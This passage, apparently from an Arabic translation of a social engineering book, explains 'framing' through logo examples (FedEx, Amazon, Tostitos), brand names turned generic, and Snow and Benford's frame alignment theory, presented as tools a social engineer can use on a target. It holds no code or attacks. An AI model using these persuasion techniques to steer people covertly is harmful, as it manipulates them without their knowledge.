‫ﻣﺛﺎل آﺧر ﻣﺛﯾر ﺟدا ﻟﻼھﺗﻣﺎم ﻟﻛﯾﻔﯾﺔ إﯾﺟﺎد اﻟﻌﻘول اﻟﺑﺷرﯾﺔ اﻟﻧظﺎم ﻓﻲ اﻻﺿطراب‪/‬اﻟﻔوﺿﻰ )‪ (chaos‬واﻟﺗﻲ ﯾﻣﻛن أن ﺗﺗﺿﺢ ﻓﻲ رﺳﺎﻟﺔ ﺑﺎﻟﺑرﯾد‬
‫اﻹﻟﻛﺗروﻧﻲ اﻟﺗﻲ ﻋﻣﻣت ﻋﻠﻰ ﻣدى اﻟﺳﻧوات اﻟﻘﻠﯾﻠﺔ اﻟﻣﺎﺿﯾﺔ‪ ،‬اﻟﺗﻲ ﺑدت ﻣﺛل ھذا‪.‬‬
‫‪O lny srmat poelpe can raed tihs.‬‬
‫‪I cdnuolt blveiee taht I cluod aulaclty uesdnatnrd waht I was rdanieg. The phaonmneal pweor of the‬‬
‫‪hmuan mnid, aoccdrnig to a rscheearch at Cmabrigde Uinervtisy, it deosn’t mttaer in waht oredr‬‬
‫‪the ltteers in a wrod are, the olny iprmoatnt tihng is taht the frist and lsat ltteer be in the rghit pclae.‬‬
‫‪The rset can be a taotl mses and you can sitll raed it wouthit a porbelm. Tihs is bcuseae the huamn‬‬
‫‪mnid deos not raed ervey lteter by istlef, but the wrod as a wlohe. Amzanig huh? yaeh and I awlyas‬‬
‫!! ‪tghuhot slpeling was ipmorantt! if you can raed tihs psas it on‬‬
‫ﻟﺳت ﻣﺗﺄﻛدا ﻣﺎ إذا ﻛﺎن ﺣﻘﯾﻘﺔ ھذا ھو أﺑﺣﺎث ﻛﺎﻣﺑرﯾدج‪ ،‬وﻟﻛن اﻟﺟزء اﻟﻣﺛﯾر ﻟﻼھﺗﻣﺎم ﻓﻲ ذﻟك ﻋﺑر إﺣﺎﻟﺗﮭﺎ ﻣن ﺧﻼل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ھو ﻛم‬
‫ﻣﻧﺎ اﻟذي ﯾﺳﺗﺧدﻣون اﻟﻠﻐﺔ اﻹﻧﺟﻠﯾزﯾﺔ ﻛﻠﻐﺔ رﺋﯾﺳﯾﺔ أو ﯾﺟﯾدون ﺟدا ﻗراءة اﻟﻠﻐﺔ اﻹﻧﺟﻠﯾزﯾﺔ ھم ﻋﻠﻰ اﻷرﺟﺢ ﻗﺎدرﯾن ﻋﻠﻰ ﻗراءة ﺗﻠك اﻟﻔﻘرة ﻣن‬
‫دون ﺑذل اﻟﻛﺛﯾر ﻣن اﻟﺟﮭد‪ ،‬ﻷن أدﻣﻐﺗﻧﺎ ﻓﻌﺎﻟﺔ ﺟدا ﻓﻲ ﺟﻌل اﻟﻧظﺎم ﻣن اﻟﻔوﺿﻰ‪.‬‬
‫ﻣرات ﻋدﯾدة ﻛﺛﯾرا ﻣﺎ ﯾﻛون اﻟﺗﺄطﯾر ﻣﻣوھﺔ او "دون اﻟوﻋﻲ" )‪ .(more subliminal‬اﻟﺷرﻛﺎت ﺗﺳﺗﺧدم ھذا ﻓﻲ اﻟﺗﺳوﯾﻖ ﻋﻠﻰ أﻣل أن‬
‫اﻟرﺳﺎﺋل اﻟﻣﻣوھﺔ ﺳوف ﺗﻐﯾر ﻧظرة اﻟﮭدف ﻣن ﻣﻧﺗﺟﺎﺗﮭﺎ‪ .‬ﻣرات ﻋدﯾدة اﻟﺷرﻛﺎت ﺗﺳﺗﺧدم ﺗداﺑﯾر ﺧﻔﯾﺔ ﻣن اﻟﺗﺄطﯾر ﻟزرع ﻓﻛرة‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﯾظﮭر ﺷﻲء ورﺑﻣﺎ ﻛﻧت ﻗد رأﯾﺗﮫ ﻣرات ﻋدﯾدة‬
‫ھل ﯾﻣﻛﻧك اﻛﺗﺷﺎف اﻟﺗﺄطﯾر )‪(Can you spot the frame‬؟‬

‫ﺑﻌد أن اظﮭر إﻟﯾك ھذا‪ ،‬ﻓﺈﻧك ﻟن ﺗرى أﺑدا ﺷﻌﺎر ﻓﯾدﯾﻛس ﺑﻧﻔس اﻟطرﯾﻘﺔ اﻟﺳﺎﺑﻘﺔ ﻣرة أﺧرى‪ ،‬ھﻧﺎك ﺳﮭم ﻓﻲ ﺷﻌﺎر ﻓﯾدﯾﻛس‪ .‬ﻣﻊ ﻣﻘﺎﺑﻠﺔ ﻣﻊ ﺻﺎﻧﻊ‬
‫اﻟﺷﻌﺎر ﻗﺎل اﻧﮫ ﻗﺎم ﺑﺗﺿﻣﯾن اﻟﺳﮭم ﻓﻲ اﻟﺷﻌﺎر ﻟزرع ﻓﻛرة ﻋن ﺧدﻣﺎت ﻓﯾدﯾﻛس‪ .‬اﻻ وھﻲ أن ھﻧﺎك اﻟﺗواﺻل‪ ،‬اﻟﺣرﻛﺔ‪ ،‬اﻟﺳرﻋﺔ‪ ،‬واﻟطﺑﯾﻌﺔ‬
‫اﻟدﯾﻧﺎﻣﯾﻛﯾﺔ ﻟﻠﺷرﻛﺔ‪.‬‬
‫ﻟم ﺗﺟده ﺣﺗﻰ اﻵن؟ أﻧﻧظر ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ ﺣﯾث أﺷرت ووﺿﻌت داﺋرة ﺣول اﻟﺳﮭم‪.‬‬
‫اﻟﺳﮭم ﯾﺷﯾر إﻟﻰ ﺟودة اﻟﺧدﻣﺔ اﻟﺗﻲ ﺗﺗﺣرك داﺋﻣﺎ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪927‬‬

‫ﻓﯾدﯾﻛس ﻟﯾﺳت اﻟﺷرﻛﺔ اﻟوﺣﯾدة اﻟﺗﻲ ﺗﺳﺗﺧدم اﻟﺗﺄطﯾر )‪ .(Framing‬ﻋﻠﻰ ﻣدى ﻋﻘود اﻟﺷرﻛﺎت ﺗﻘوم ﺑﺗﺿﻣﯾن رﺳﺎﺋل ﻣﻌﯾﻧﮫ ﻓﻲ اﻟﺷﻌﺎرات ﻓﻲ‬
‫ﻣﺣﺎوﻟﺔ ﻟﺗﺄطﯾر ﺗﻔﻛﯾر اﻟﻣﺷﺎھد ﻓﻲ أن ﯾﺗذﻛر‪ ،‬واﻟﺗﻔﻛﯾر‪ ،‬وﯾرى اﻟﺷرﻛﺔ ﺑﺎﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾرﯾدھﺎ‪ .‬ﺗظﮭر اﻟﺻور اﻟﻘﻠﯾﻠﺔ اﻟﻣﻘﺑﻠﺔ اﻟﻣزﯾد ﻣن اﻷﻣﺛﻠﺔ‪.‬‬
‫ھل ﺳﺑﻖ ﻟك أن ﻻﺣظت ﻓﻲ ﺷﻌﺎر أﻣﺎزون رﺳﺎﻟﺔ اﻟﺗﺄطﯾر اﻟﻣﺗﺿﻣﻧﺔ )اﻧظر اﻟﺷﻛل اﻟﺗﺎﻟﻲ(؟‬
‫ھل ﺗرى اﻟﻌﻣﯾل ﺳﻌﯾدا وﻣﺑﺗﺳﻣﺎ )‪(Do you see the smiling happy customer‬؟‬

‫اﻷﻣﺎزون ﻟدﯾﮫ رﺳﺎﻟﺗﯾن ﺗﺄطﯾر ﻣﺗﺿﻣﻧﮫ ﻓﻲ ﺷﻌﺎرھﺎ‪ .‬واﺣد ھو اﻟﺳﻌﺎدة اﻟﺗﻲ ﺳﺗﺷﻌر ﺑﮭﺎ ﻛﻌﻣﯾل‪ ،‬ﻣﻣﺛﻠﺔ ﻓﻲ اﻻﺑﺗﺳﺎﻣﺔ ﻓﻲ اﻟﺻورة‪ ،‬وﻟﻛن‬
‫اﻻﺑﺗﺳﺎﻣﺔ ھﻲ أﯾﺿﺎ ﺳﮭم‪ .‬ﻧﻘﺎط اﻟﺳﮭم ﻣن ‪ A‬إﻟﻰ ‪) Z‬أي ﻣن اﻻﻟف اﻟﻰ اﻟﯾﺎء(‪ ،‬ﻣﻣﺎ ﯾدل ﻋﻠﻰ اﻷﻣﺎزون ﻟدﯾﮫ ﻛل ﺷﻲء ﻣن ﻛل اﻟﻧﻘﺎط وﺑﯾﻧﮭﺎ‪.‬‬
‫آﺧر ﻣﺛﺎل ﻋظﯾم ھو ﺷﻌﺎر ‪ .Tostitos‬ھذا ھو ﺷﻌﺎر اﺟﺗﻣﺎﻋﻲ ﻟﻠﻐﺎﯾﺔ‪ ،‬ﻛﻣﺎ ﺗرون ﻓﻲ اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪.‬‬
‫اﻟﺷﻛل اﻟﺗﺎﻟﻲ‪ :‬ھل ھذا اﻟﺷﻌﺎر ﯾﺟﻌﻠك ﺗرﻏب ﻓﻲ ﻣﺷﺎرﻛﺔ اﻟرﻗﺎﻗﺔ )‪ (Chip‬ﻣﻊ ﺷﺧص ﻣﺎ؟‬

‫ﻧﺟد أن ھﻧﺎك اﺛﻧﯾن ﻣن ‪ T‬ﻓﻲ اﻟوﺳط واﻟﺗﻲ ﺗﻌﺑر ﻋن أﺛﻧﯾن ﻣن اﻟﻧﺎس ﺗﺗﻘﺎﺳم اﻟرﻗﺎﻗﺔ ﻓوق وﻋﺎء ﻣن اﻟﺳﺎﻟﺳﺎ‪ .‬ﻓﻲ ﻋﺎم ‪ ،2004‬أﺻدر‬
‫‪ Tostitos‬ﺑﯾﺎﻧﺎ ﺻﺣﻔﯾﺎ ﻗﺎﻟت ﻓﯾﮫ ان" ‪ Tostitos‬ﺗﻠﻌب دورا ﺣﯾوﯾﺎ ﻛوﺟﺑﺔ ﺧﻔﯾﻔﺔ اﺟﺗﻣﺎﻋﯾﺔ"‪ ،‬ﻟﻠﻣﺳﺎﻋدة ﻋﻠﻰ إﻧﺷﺎء اﺗﺻﺎﻻت ﺑﯾن اﻷﺻدﻗﺎء‬
‫واﻟﻌﺎﺋﻼت‪ ،‬ﺳواء ﻛﺎن ذﻟك ﻓﻲ ﺣﻔﻠﺔ‪ ،‬ﺧﻼل" ﻟﻌﺑﺔ ﻛﺑﯾرة "‪ ،‬أو ﻋﻠﻰ أﺑﺳط اﻷﻣور ﻛل ﯾوم ﯾﻛون ﻣﻊ ﺑﻌض‪ .‬اﻟﺷﻌﺎر اﻟﺟدﯾد ﯾﺣﺿر اﻟﻰ اﻟﺣﯾﺎة‬
‫ﻓﻛرة إﺟراء اﺗﺻﺎﻻت‪.‬‬
‫ھذه اﻷﻣﺛﻠﺔ ﻟﯾﺳت ﺳوى ﻣﺟﻣوﻋﺔ ﻓرﻋﯾﺔ ﺻﻐﯾرة ﻣن ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻟﺗﺄطﯾر ﻓﻲ ﻣﺟﺎل اﻟﺗﺳوﯾﻖ‪ .‬اﻟﺗﺄطﯾر ﻟﯾﺳت ﻛل ﺷﻲء ﻋن اﻟﺻور‪ .‬ﻓﻲ‬
‫اﻟﻐﺎﻟب ھو ﻋن اﻟﻘﯾﻣﺔ اﻟﺗﻲ ﯾدرﻛﮭﺎ اﻟﮭدف‪ .‬ﺗﺻور أن اﻟﮭدف ﻟدﯾﮫ ﻋﻧﺻر ﯾﻣﻛن أن ﺗزﯾد أو ﺗﻧﻘص ﻗﯾﻣﺗﮫ‪ .‬ﺗﺧﯾل إﻧك دﺧﻠت اﻟﻰ ﻣﺗﺟر ﻣﻼﺑس‬
‫ﺑﺎھظﺔ اﻟﺛﻣن ﻓﺈﻧك ﺗﺟد ان ﻛل ﺷﻲء ﻣﻌﻠﻖ ﺑدﻗﺔ‪ ،‬ﻣﻧظم‪ ،‬ﻗرﯾب ﻣن اﻟﻛﻣﺎل‪ .‬اﻟﺗﺻور ھﻧﺎ ﯾﻣﻛن أن ﯾﻛون أن ھذه اﻟﻣﻼﺑس ﺗﺳﺗﺣﻖ ھذا اﻟﻣﺑﻠﻎ‬
‫اﻟﺑﺎھظ ﻣن ﺛﻣن‪ .‬ﺑﻌد‪ ،‬وﻣﻊ ذﻟك إذا ﻗﻣت ﺑﺄﺧذ واﺣدة ﻣن راﺑطﺔ اﻟﻌﻧﻖ واﻟﻘﻣﺻﺎن و‪/‬أو أي ﻗطﻊ أﺧرى ﻣن اﻟﻣﻼﺑس ﻗﺑﺎﻟﺔ اﻟرف‪ .‬وﻣن ﺛم‬
‫إﺣﺿﺎرھﺎ إﻟﻰ ﻣﺗﺟر ذات ﺧﺻوﻣﺎت؛ ورﻣﯾﮭﺎ ﻓﻲ ﺳﻠﺔ ﻛﺑﯾرة ﻣﻠﯾﺋﺔ ﺑﺎﻟﻣﻼﺑس اﻷﺧرى ﺗﺣﻣل ﻋﻼﻣﺎت "ﺧﺻم ‪ ،" ٪75‬ﻓﺎن اﻟﺗﺻور اﻟﺧﺎص ﺑك‬
‫ﻣن ﻗﯾﻣﺔ ھذا اﻟﻌﻧﺻر ﻣن اﻟﻣﻼﺑس ﺳﺗﻘﻠل ﻣن ﻗﯾﻣﺗﮫ‪.‬‬
‫ﺟﮭﺎﺑذة اﻟﺗﺳوﯾﻖ ﯾﻠﻌﺑون ﻓﻲ ھذه اﻟظﺎھرة ﻓﻲ ﻣﺣﺎوﻟﺔ ﻟﺗﺄطﯾر ﺗﺻور اﻟﺟﻣﮭور ﻟﻠﻘﯾﻣﺔ‪ .‬ﻛﺎﻧت اﻟﻌدﯾد ﻣن اﻟﺷرﻛﺎت اﻟﻧﺎﺟﺣﺔ ﻓﻲ اﺳﺗﺧدام اﻟﺗﺄطﯾر‬
‫ﻟدرﺟﺔ أن اﻟﻧﺎس ﻓﻌﻼ ﻗد ﺻﺎﻏت اﻟﻌﺑﺎرات ﻟﺧﻠﻖ ﻧوع ﻛﺎﻣل ﻣن اﻟﻛﻠﻣﺎت ﻟوﺻف اﻟﻣﻧﺗﺟﺎت‪.‬‬
‫ﻣﺛﺎل أﻛﺛر ﺣداﺛﺔ ﺑﻐض اﻟﻧظر ﻋن ﻣﺣرك اﻟﺑﺣث اﻟذي ﺗﺳﺗﺧدﻣﮫ‪ ،‬وﻟﻛن ﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻘول اﻟﻧﺎس‪" ،‬ھل ﻗﻣت ﺑﺑﺣث ﺟوﺟل؟" ﺣﯾث أﻧﮫ أﺻﺑﺢ ﻛﻠﻣﺔ‬
‫ﺟوﺟل ﻣرادﻓﺎ ﻟﻠﺑﺣث ﻋﻠﻰ اﻟوﯾب‪ .‬ﯾﻘول اﻟﻧﺎس‪" ،‬ورﻗﺔ ﻛﻠﯾﻧﯾﻛس ﻣن ﻓﺿﻠك‪ "،‬ﻋﻧدﻣﺎ ﯾرﯾدون اﻟﻣﻧﺎﺷف اﻟورﻗﯾﺔ‪.‬‬
‫أﻣﺛﻠﮫ أﺧرى أﻧك ﻗد ﻻ ﺗﻛون ﻋﻠﻰ ﻋﻠم ﺣﺗﻰ ﺑﺎﻷﺳﻣﺎء اﻟﺗﺟﺎرﯾﺔ )إﻻ إذا ﻛﻧت ﻣن اﻟﺟﯾل اﻟﺗﻲ أﻧﺷﺎ ھذا ﻓﯾﮫ( ﻣﺎ ﯾﻠﻲ‪:‬‬
‫‪ -‬اﻷﺳﺑرﯾن ھو ﻣﻧﺗﺞ ﻋﻼﻣﺔ ﺗﺟﺎرﯾﺔ ﻟﺷرﻛﺔ ﺑﺎﯾر )‪.(Aspirin is a trademarked product of Bayer‬‬
‫‪ -‬اﻟﺗرﻣس ھو اﺳم ﻣﻧﺗﺞ ﻟﺷرﻛﺔ ‪.(Thermos is a product name of Thermos GmbH Company) Thermos GmbH‬‬
‫‪ -‬اﻹﺳﻌﺎﻓﺎت اﻷوﻟﯾﺔ ھﻲ ﻋﻼﻣﺔ ﺗﺟﺎرﯾﺔ ﻟﺷرﻛﺔ ﺟوﻧﺳون آﻧد ﺟوﻧﺳون )‪.(Band-Aid is a trademark of Johnson & Johnson‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪928‬‬

‫‪Frisbee was a trademark of Wham-O -‬‬

‫ﻛل ﺗﻠك اﻷﺳﻣﺎء أﺻﺑﺣت ﺷﻌﺑﯾﺔ ﺟدا ﺑﺎﻟﻧﺳﺑﺔ ﻹطﺎر اﻟﻧﺎس اﻟﻣرﺟﻌﻲ ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﻣطﺎف ﺷﻣﻠت أي ﻣﻧﺗﺞ ﻣﺷﺎﺑﮫ ﻟﮫ‪ .‬ﻟم أﻛن ﺗﻧﺎول اﻷﺳﺑرﯾن‬
‫وﻟﻛﻧﻰ ﻋﺎدة اﺳﺗﺧدام ﻣﻧﺗﺞ اﺧر وﻟﻛن أطﻠب داﺋﻣﺎ "اﺛﻧﯾن ﻣن اﻷﺳﺑرﯾن‪ "،‬ﺑﺈﻋطﺎء اﺳم اﻟﻌﻼﻣﺔ اﻟﺗﺟﺎرﯾﺔ اﻟﺗﻲ ارﯾدھﺎ‪ ،‬وأﻛون ﺳﻌﯾدا‪.‬‬
‫ﺗوﺟد ﻛﻣﯾﺎت ﻣن اﻟﻣﻌﻠوﻣﺎت ﺣول اﻟﺗﺄطﯾر‪ ،‬وﻟﻛن ﺗم ﺗﻠﺧﯾص ھذه اﻟﻣﻌﻠوﻣﺎت ﻟﺑﻌض اﻟﻣﺑﺎدئ اﻟرﺋﯾﺳﯾﺔ اﻟﺿرورﯾﺔ واﻟﺗﻲ ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ‬
‫ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ‪ .‬ﻣﺟﻣوﻋﺔ اﻟﻣﻌﻠوﻣﺎت اﻟﺳﺎﺑﻘﺔ ﻣرﺣﻠﺔ ﻣﻔﺻﻠﺔ ﺟدا ﻟﻠﺗﺄطﯾر ﻣﺎ ھو وﻛﯾف ﯾﺗم اﺳﺗﺧداﻣﮫ ﻓﻲ ﻣﺧﺗﻠف ﻣﺟﺎﻻت اﻟﺣﯾﺎة‪ .‬ﻗﺑل أن‬
‫ﻧﻧﺗﻘل إﻟﻰ ﺳﺎﺣﺔ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﻓﻧﻠﻘﻲ ﻧظرة ﻋﻠﻰ اﻷﻧواع اﻟﻣﺧﺗﻠﻔﺔ ﻣن ﻣواﺋﻣﺔ‪/‬ﺗواﻓﻖ اﻹطﺎر )‪.(Frame Alignment‬‬
‫أرﺑﻌﺔ أﻧﻮاع ﻣﻦ ﻣﻮاﺋﻤﺔ اﻹطﺎر )‪(Frame Alignment‬‬
‫ﻣواﺋﻣﺔ اﻹطﺎر )‪ – (Frame Alignment‬ھﻲ ﻋﻣﻠﯾﺔ ﻟﺷرح ﻧظرﯾﺔ اﻟﺣرﻛﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‬
‫ﻓﻲ ﻋﺎم ‪ 1988‬اﺛﻧﯾن ﻣن اﻟﺑﺎﺣﺛﯾن‪ ،‬دﯾﻔﯾد ﺳﻧو ﻣن ﺟﺎﻣﻌﺔ أرﯾزوﻧﺎ وروﺑرت ﺑﻧﻔورد ﻣن ﺟﺎﻣﻌﺔ ﻧﺑراﺳﻛﺎ‪ ،‬ﻛﺗﺑﺎ ﺑﺣث ﺑﻌﻧوان "ﺗوﺿﯾﺢ اﻟﻌﻼﻗﺔ ﺑﯾن‬
‫اﻟﺗﺄطﯾر واﻟﻌﻘﯾدة‪/‬اﻷﯾدﻟوﺟﯾﺎ ﻓﻲ دراﺳﺔ اﻟﺣرﻛﺎت اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫)‪(Clarifying the Relationship between Framing and Ideology in the Study of Social Movements‬‬
‫ﺣﯾث ﯾﻘوﻻ إن ﻣواﺋﻣﺔ اﻹطﺎر )‪ (Frame Alignment‬ﻋﻧﺻر ھﺎم ﻓﻲ اﻟﺗﻌﺑﺋﺔ أو اﻟﺣرﻛﺔ‪ .‬وﯾﻘوﻟون إﻧﮫ ﻋﻧدﻣﺎ ﺗﺻﺑﺢ اﻹطﺎرات اﻟﻔردﯾﺔ‬
‫ﻣرﺗﺑطﺔ ﻓﻲ اﻻﺗﺳﺎق واﻟﺗﻛﺎﻣل‪ ،‬ﯾﺣدث ھﻧﺎ " ﻣواﺋﻣﺔ اﻹطﺎر )‪"(Frame Alignment‬؛ ﻣﻣﺎ ﯾﻧﺗﺞ ﻋﻧﮫ "ﺻدى اﻹطﺎر )‪،"(frame resonance‬‬
‫اﻟذي ھو اﻟﻣﻔﺗﺎح ﻟﻌﻣﻠﯾﺔ اﻻﻧﺗﻘﺎل اﻟﺟﻣﺎﻋﻲ ﻣن إطﺎر واﺣد إﻟﻰ آﺧر )ﻋﻠﻰ اﻟرﻏم ﻣن أﻧﮫ ﻟﯾس ﻛل ﺟﮭود اﻟﺗﺄطﯾر ﻧﺎﺟﺣﺔ(‪ .‬ﻟذﻟك ﻗﺎم ﺳﻧو وﺑﻧﻔورد‬
‫ﺑﺗﺣدﯾد أرﺑﻌﺔ ﺷروط واﻟﺗﻲ ﺗؤﺛر ﻋﻠﻰ ﺟﮭود اﻟﺗﺄطﯾر )‪:(framing efforts‬‬
‫"ﻣﺗﺎﻧﺔ‪ ،‬واﻛﺗﻣﺎل وﺷﻣوﻟﯾﺔ ﺟﮭد اﻟﺗﺄطﯾر )‪ :"(The robustness, completeness, and thoroughness of the framing effort‬ﺣدد ﺳﻧو‬
‫وﺑﻧﻔورد ﺛﻼث ﻣﮭﺎم أﺳﺎﺳﯾﮫ ﻟﻠﺗﺄطﯾر‪ ،‬واﻟدرﺟﺔ اﻟﺗﻲ ﺣﺿرت ھذه اﻟﻣﮭﺎم ﻟﺗﺣدﯾد ﻣﻘدار ﺗﻌﺑﺋﺔ اﻟﻣﺷﺎرﻛﯾن‪.‬‬
‫‪ .A‬ﺗﺷﺧﯾص اﻟﺗﺄطﯾر )‪ (diagnostic framing‬ﻟﺗﺣدﯾد اﻟﻣﺷﻛﻠﺔ واﻹﺣﺎﻟﺔ ﻣن اﻟﻠوم‪.‬‬
‫‪ .B‬ﺗﻧﺑؤات‪/‬ﺗﺣﻠﯾﻼت اﻟﺗﺄطﯾر )‪ (prognostic framing‬ﻻﻗﺗراح اﻟﺣﻠول واﻻﺳﺗراﺗﯾﺟﯾﺎت واﻟﺗﻛﺗﯾﻛﺎت ﻟﻠﻣﺷﻛﻠﺔ‪.‬‬
‫‪ .C‬دواﻓﻊ اﻟﺗﺄطﯾر )‪ (motivational framing‬إذا ﻧﺟﺣت ﻓﮭﻲ ﺑﻣﺛﺎﺑﺔ دﻋوة ﻟﻌﻣل ﺷﻲء ﻣﺎ‪.‬‬
‫"اﻟﻌﻼﻗﺔ ﺑﯾن اﻹطﺎر اﻟﻣﻘﺗرح وﻧظﺎم اﻻﻋﺗﻘﺎد اﻷﻛﺑر )‪(The relationship between the proposed frame and the larger belief system‬‬
‫ﯾﻣﯾل اﻟﻧﺎس ﻟﺧﺻم اﻹطﺎرات أو اﻹطﺎرات اﻟﻣﻘﺗرﺣﺔ ﺣﺎﻟﺔ ﻋدم وﺟود وﺻﻠﺔ ﻣﻊ اﻻﻋﺗﻘﺎد اﻷﺳﺎﺳﻲ أو ﻗﯾم ﻧظﺎم اﻋﺗﻘﺎدھم‪ .‬ﻓﻲ ﻣﺣﺎوﻟﺔ ﻹﻗﻧﺎع‬
‫ﺷﺧص ﺣﺎﺻل ﯾﻌﺗﻘد ﺑﺄن أﻛل اﻟﻠﺣوم ﻗﺳوة ﻋﻠﻰ اﻟﺣﯾواﻧﺎت ﺑﺎﻟذھﺎب إﻟﻰ ﻣﺣل ﻟﺑﯾﻊ ﺷراﺋﺢ اﻟﻠﺣم ﻋﻠﻰ اﻟطرﯾﻖ واﻟﺗﻲ ﻟدﯾﮭﺎ ﻋرض ﺧﺎص‬
‫ﺑﺎﻟﺗﺄﻛﯾد ﺳﯾﻔﺷل‪ .‬اﻹطﺎر ﯾﺟب أن ﯾﻘﻊ ﻣﻊ ﺟوھر ﻣﻌﺗﻘدات اﻟﺷﺧص ﻟﯾﻛون ﻧﺎﺟﺣﺎ )ﻣﺎ ﻟم ﯾﻛن ھدﻓك ھو اﺳﺗﺧدام اﻹطﺎر ﻟﺗﻐﯾﯾر ﻣﻌﺗﻘداﺗﮫ‬
‫اﻷﺳﺎﺳﯾﺔ(‪ .‬ﻓﻼ ﺑد ﻣن اﻟﻧﺟﺎح‪.‬‬
‫ﺗﺳﺗﺧدم ﻣﺣﺎوﻟﺔ اﻟﺗﺄطﯾر ﻟﺗﻐﯾر اﻟﻣﻌﺗﻘدات ﻋﻠﻰ ﻧطﺎق واﺳﻊ ﻣن ﺧﻼل اﻹﻋﻼﻧﺎت اﻟﺗﺟﺎرﯾﺔ ﻟﻣﻛﺎﻓﺣﺔ اﻟﺗدﺧﯾن ﻟﻠﺟدل ﺣﯾث ﯾﺿﻊ اﻟﻣﺗطوﻋﯾن اﻟﻛﺛﯾر‬
‫ﻣن أﻛﯾﺎس اﻟﺟﺛث أﻣﺎم اﻟﺑﺎب اﻷﻣﺎﻣﻲ ﻟﻣﺑﻧﻰ ﺻﻧﺎﻋﺔ اﻟﺗﺑﻎ‪ .‬أﻛﯾﺎس اﻟﺟﺛث ﺗﻣﺛل ﻛﯾف ان ﻛﺛﯾر ﻣن اﻟﻧﺎس ﯾﻣوﺗون ﻛل دﻗﯾﻘﺔ‪ ،‬ﺳﺎﻋﺔ‪ ،‬أو ﯾوم ﻣن‬
‫اﻟﺗدﺧﯾن‪ .‬اﻷﻣل ھو ﺗﻐﯾﯾر اﻹطﺎر ﻣن أوﻟﺋك اﻟذﯾن ﯾدﻋﻣون اﻟﺗدﺧﯾن ﻟﻠﺗﻔﻛﯾر ﻓﻲ ﻋدد اﻟﻘﺗﻠﻰ ﺑﺎﻟﻧﺳﺑﺔ ﻷوﻟﺋك اﻟذﯾن ﯾدﺧﻧون‪.‬‬
‫أﻗﺗرح ﺳﻧو وﺑﻧﻔورد أﻧﮫ ﺣﺎﻟﻣﺎ ﯾﺗم ﺑﻧﺎء اﻷطر اﻟﻣﻧﺎﺳﺑﺔ ﻛﻣﺎ ھو ﻣوﺿﺢ أﻋﻼه‪ ،‬ﯾﻣﻛن ﺗﺣﻘﯾﻖ ﺗﻐﯾﯾرات واﺳﻌﺔ اﻟﻧطﺎق ﻓﻲ اﻟﻣﺟﺗﻣﻊ ﻣﺛل ﺗﻠك‬
‫اﻟﻼزﻣﺔ ﻟﻠﺣرﻛﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ﻣن ﺧﻼل ﻣواءﻣﺔ اﻹطﺎر‪.‬‬
‫"ﻣﻼءﻣﺔ اﻹطﺎر إﻟﻰ واﻗﻊ اﻟﻣﺷﺎرﻛﯾن )‪ :"(Relevance of the frame to the realities of the participants‬ﯾﺟب أن ﯾﻛون اﻹطﺎر‬
‫ﻣﻧﺎﺳب ﻟﻠﺷﺧص )اﻟﮭدف(‪ .‬ﯾﺟب أن ﯾﻛون ﺟدﯾر ﺑﺎﻟﺗﺻدﯾﻖ وﻗﺎﺑﻠﺔ ﻟﻼﺧﺗﺑﺎر ﻣن ﺣﯾث ﺻﻠﺗﮫ ﺑﺧﺑرة اﻟﮭدف‪.‬‬
‫ﻻ ﯾﻣﻛﻧك أن ﺗﺄﻣل ﻓﻲ اﺳﺗﺧدام إطﺎر اﻟﺗﺳوﯾﻖ اﻟﺗﻲ ﻣن ﺷﺄﻧﮭﺎ ﺗﺷﺟﯾﻊ اﻟﻧﺎس ﻋﻠﻰ اﺗﺧﺎذ ﺳﯾﺎﺣﯾﺔ ﻓﺎﺧرة ﻓﻲ أرض ﺣﯾث اﻟﻧﺎس ﻻ ﯾﺳﺗطﯾﻌون‬
‫ﺗﺣﻣل اﻟطﻌﺎم ﻟﻠﯾوم‪ .‬ﻣﮭﻣﺎ ﻛﺎﻧت ﺟﯾدة اﺳﺗﺧدام اﻟﺗﺄطﯾر ﻓﻲ اﻟﺗﺳوﯾﻖ‪ ،‬ھﻲ ﻓﻘط ﺳوف ﺗﻔﺷل‪ .‬ﻟﻣواﺋﻣﺔ اﻹطﺎر )‪ ،(Frame Alignment‬ﻓﺈﻧﮫ ﯾﺟب‬
‫أﻻ ﯾﻛون ﻣﺟرد ذات اﻟﺻﻠﺔ وﻟﻛن ﯾﺟب أﯾﺿﺎ أن ﯾﻛون ﻣﺛﺑت ﻣن أﺟل ﻋﻘد ﻗﯾﻣﺔ‪ ،‬ﺣﺗﻰ ﻟو ﻛﺎن ھذا اﻟدﻟﯾل ھو ﻓﻘط ﻓﻲ ﻋﻘل اﻟﮭدف‪.‬‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻓﻲ ﻋﺎم ‪ 2007‬أﻓﺎد ﻣﺻدر اﻷﺧﺑﺎر ذات ﺷﻌﺑﯾﺔ ﻛﺑﯾرة وﻣوﺛوق ﺑﮫ‪ ،‬ﻣﺟﻠﺔ اﻧﺳﺎﯾت )اﻟﺗﻲ ﺗﻣﻠﻛﮭﺎ ﻧﻔس اﻟﺷرﻛﺔ واﺷﻧطن ﺗﺎﯾﻣز(‬
